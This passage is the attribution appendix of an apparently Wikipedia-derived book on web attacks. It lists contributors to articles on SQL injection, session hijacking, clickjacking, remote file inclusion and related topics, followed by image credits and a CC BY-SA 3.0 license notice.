RoyBoy, Rulesdoc, Runxc1, Scarybeasts, Schapel, Shiflett, Simetrical, Sliwers, SlubGlub, SnowFire, Spellcast, Sripathikrishnan, Strolls, SusanLesch, TheRingess, Thenerdgod, Tide rolls, Tompsci, Vfeditor, Vrsane, Wadim.grasza, Wesley, WhyDoIKeepForgetting, Wolfmankurd, Woody, Wppds, Wrs1864, XTaran, Zaphraud, 213 anonymous edits SQL injection Source: http://en.wikipedia.org/w/index.php?oldid=466834645 Contributors: - ), .anaconda, A bit iffy, Abdurrahman,T, Adward555, Af648, Alansohn, Alerante, Alex Marandon, Americasroof, Aminadav, AndrewWTaylor, AndyDent, AndyHassall, Aneeshjoseph, AnmaFinotera, Anna Lincoln, Antientropic, Apokrif, ArielGold, ArnoldReinhold, Atheuz, Avoided, Ayolucas, Badgernet, BaldPark, Balusc, Belal qudah, Benjamin Pineau, Bensonwu, Bevnet, Bevo, Bikepunk2, Biskeh, Blake-, BobKeim, Bogdangiusca, Bookbrad, Brianski, Bruce1ee, Btx40, CAN, CKlunck, Caesura, Caim, Calabe1992, Catrope, Cdean, Cenzic, Ch'marr, Cheesieluv, Chris-marsh-usa, Chrisjj2, Christian75, ChristianEdwardGruber, Chuunen Baka, CliffC, CoJaBo, Codahk, Codepro, Courcelles, Cybercobra, Damian Yerrick, DamnFools, Dandv, Danhash, Danielosneto, Davidhorman, Daydreamer302000, Dcoetzee, DerHexer, Discospinster, Dmitry Evteev, Drol, Ebehn, Elkman, Elwikipedista, EmadIV, Enigmasoldier, Enric Naval, Erik9, Everyking, Excirial, Fedevela, Feezo, Ferkelparade, Finngall, Flarn2006, Flighters, Fluffernutter, Folajimi, Frap, Freedomlinux, FunPika, Furrykef, F, Gaius Cornelius, Garylhewitt, Gavin.perch, Gmoose1, Gobonobo, Gogo Dodo, Golbez, GregorB, H4ckf0rs4k3, HDCase, HalJor, Hariva, HeW, Hede2000, Hemantkumarmehra, Hu12, Hurrrn, Husky, II MusLiM HyBRiD II, Indy90, IntergalacticRabbit, InverseHypercube, Island, Ixfd64, JLEM, Jamesooders, Jarekt, Javawizard, Jeffq, Jeffrey Mall, Jeffwang, Jeterfan428, Jmanico, Jnarvey, JoeSmack, Jonsiddle, Jtjacques, Jusdafax, KD5TVI, KDeltchev, Kahina, Kalimantan kid, Kate, Kellyk99, Kenkku, KeyStroke, Kgaughan, Khazar, KillerBytes, Kingpin13, Kitchen, Klizza, Lawrencegold, Ldo, Leirith, Liftarn, Little Mountain 5, Lumos3, Luna Santin, Maghnus, Mario777Zelda, Martin Hinks, Mattsenate, Max613, Mboverload, Mcgyver5, Mchl, MeekMark, Menno8472, MentisQ, Mgiganteus1, Michael Slone, MichaelCoates, Michaelhodgins, MightyWarrior, Miko3k, Mild Bill Hiccup, Milo99, Mindmatrix, Mirko051, Mopatop, Moreschi, MrZanzi, Mrdehate, N5iln, Nabieh, Nbertram, Nic tester, Nickgalea, Nidheeshks, Nigholith, Njan, Njh@bandsman.co.uk, Nosbig, Od Mishehu, Off!, Oli Filth, Orange Suede Sofa, Oskar Sigvardsson, Oxymoron83, Panoptical, Pearll's sun, Peterl, Petert2011, Pharaoh of the Wizards, Philip Trueman, Piano non troppo, Pinecar, Pingveno, Plumbago, Portablegeek, Pradameinhoff, Prescriptiononline, President Evil Zero, Project2501a, Public Menace, R00t.ati, RJaguar3, RadioActive, Rand20s, Ratfox, Raysonho, Raztus, Rd232 public, Reedy, Revivethespirit, ReyBrujo, Rjanag, Rodney viana, Roman Lagunov, Ronhjones, Roshenc, Rpkrawczyk, SP-KP, Samngms, ScottW, Sean D Martin, Shabbirbhimani, Shadowjams, Shandrew, SheeEttin, Shlomif, Shtirlitz, SietseM, Sniper1rfa, Societebi, SpK, Speciate, Sputnick-FR, Squeakyneb, Sreerajvr, SteinbDJ, Stogers, Storm Rider, Straussian, Sturmovik, Suei8423, Summentier, Superm401, Taka, Terrifictriffid, TheBilly, TheDukeW, TheRingess, ThomasMueller, Thumperward, Tide rolls, Tilman, Tjkiesel, Tobi Kellner, Tom-, Trevor MacInnis, Troels Arvin, Uncle Milty, UncleDouggie, Unlox775, VASTA zx, Varlaam, Vasi, Virtualdaniel, Vis says, Viveksolan, Vladocar, Vrenator, Vupen, WOSlinker, WTucker, Wayne Slam, Wbrice83186, Werikba, WhiteCrane, WibWobble, Wikilost, WikipedianMarlith, Wikipelli, Wkeevers96, Wknight94, Wwwwolf, XDanielx, Xionbox, Yamamoto Ichiro, ZZ9pluralZalpha, Zedlander, Zgadot, Zhyale, Zzuuzz, 775 anonymous edits Session hijacking Source: http://en.wikipedia.org/w/index.php?oldid=465063207 Contributors: 0x55534C, Avapoet, Azrich, Bwrs, Chaojoker, Chuunen Baka, Darktemplar, Delta 51, Dilhangeeth, Dsr.sriram, E smith2000, Erik9, Eyreland, Felixcatuk, Gareth Jones, Gurch, JVersteeg, Jantichy, Johnuniq, Jruderman, JustAGal, Korrawit, Lordoliver, OmidPLuS, Pathoschild, Prodego, Pzrq, R'n'B, Raanoo, Reaper Eternal, Rulesdoc, Ryanjunk, Socrates2008, Spikeyrock, Sqeak, Tonyfaull, Wavelength, Wikipelli, Xyb, 60 anonymous edits Session fixation Source: http://en.wikipedia.org/w/index.php?oldid=466634601 Contributors: Ag87, Andypayne, Audiodude, Bearingbreaker92, Beland, Blackthirteen, Blaufish, Bluesprite, Cambrant, Chorny, Cmdrjameson, DARTH SIDIOUS 2, Damian Yerrick, DeadEyeArrow, Dreamyshade, Edward, Falcon Kirtaran, Feldmahler, Fengtan, Firealwaysworks, Frap, Fred Bradstadt, Fuhghettaboutit, Furrykef, Gerbennn, Glubbdrubb, GoingBatty, Grunny, Hiiiiiiiiiiiiiiiiiiiii, I already forgot, Ike9898, Iridescent, Irishguy, Jmorgan, Keilana, Laur2ro, Leobold1, Lights, Marcus Lease, Margin1522, Mathieu Bonnet, Michael Hardy, Neilymon, Peng, PhennPhawcks, Poc0123, Sephiroth storm, Shiflett, Sigma 7, SnowFire, Spaligo, Spookylukey, Stevietheman, Vanderstock, Zero sharp, 76 anonymous edits Session poisoning Source: http://en.wikipedia.org/w/index.php?oldid=430251605 Contributors: BigrTex, Blanchardb, Blaufish, Calm, Cmdrjameson, Edward, Firsfron, Frap, Furrykef, Jaaahn, Narthring, Nicolas1981, Nitrowolf, Nneonneo, Schmiteye, Stevietheman, Tide rolls, 12 anonymous edits Clickjacking Source: http://en.wikipedia.org/w/index.php?oldid=463360594 Contributors: 15turnsm, 84user, Affinemesh94464, Andrew Clark, Ary29, Chealer, Chmeee, ChrisBoyle, Crazymonkey1123, David-Sarah Hopwood, Deepanker70, Dhaun, Dismas, Duncan, Dwvisser, Eastlaw, Eliz81, Exor674, Farmercarlos, H4l9k, Happyrabbit, IllestFlip, Jabberwoch, JavierMC, Julesd, Kitzur, Kuru, MichaelCoates, Mindmatrix, Mormegil, MrOllie, Netpagz, NoamNelke, Nurg, PatrickFlaherty, Rchandra, Regnareb, Rjwilmsi, Rtc, Safalra, Shlominar, Shoebhakim, Sweeper tamonten, Tarunbk, Tristan Schmelcher, Widefox, WikiLaurent, Wikiold1, Woohookitty, X7q, 66 anonymous edits Social jacking Source: http://en.wikipedia.org/w/index.php?oldid=435920911 Contributors: Bearcat, Realkyhick, Sumsum2010, Utcursch, Vengadanathan.s, 4 anonymous edits Remote file inclusion Source: http://en.wikipedia.org/w/index.php?oldid=465623012 Contributors: Anaxial, Apokrif, Auxbuss, Bacchus87, Codahk, Daniel1, Discospinster, Erik9, Frap, Gap9551, Janeway216, Jons63, Kimchi.sg, Krator, M. B., Jr., Mayur, Mortense, MrTux, N3T D3VIL, NAHID, Njan, Offnfopt, Omerzu, Pastore Italy, Pm5, Pradameinhoff, Snowolf, Stogers, Timn, Tinnet, Vadmium, Versus22, Wayne Slam, Welsh, 70 anonymous edits Referrer spoofing Source: http://en.wikipedia.org/w/index.php?oldid=456951114 Contributors: A. B., AxelBoldt, Bsradams, ChangChienFu, Cybercobra, Dreamyshade, Edward, Frap, GraemeL, JoeHenzi, JonHarder, Master Jay, Matthew Platts, Mindmatrix, MinorContributor, Odd Master, SeL, Superm401, 39 anonymous edits

Image Sources, Licenses and Contributors

38

Image Sources, Licenses and Contributors

Image:NVD-CVE-2007-1332.png Source: http://en.wikipedia.org/w/index.php?title=File:NVD-CVE-2007-1332.png License: Public Domain Contributors: US-CERT/NIST File:KD SQLIA Classification 2010.png Source: http://en.wikipedia.org/w/index.php?title=File:KD_SQLIA_Classification_2010.png License: Creative Commons Attribution-Sharealike 3.0 Contributors: KDeltchev

License

39

License
Creative Commons Attribution-Share Alike 3.0 Unported //creativecommons.org/licenses/by-sa/3.0/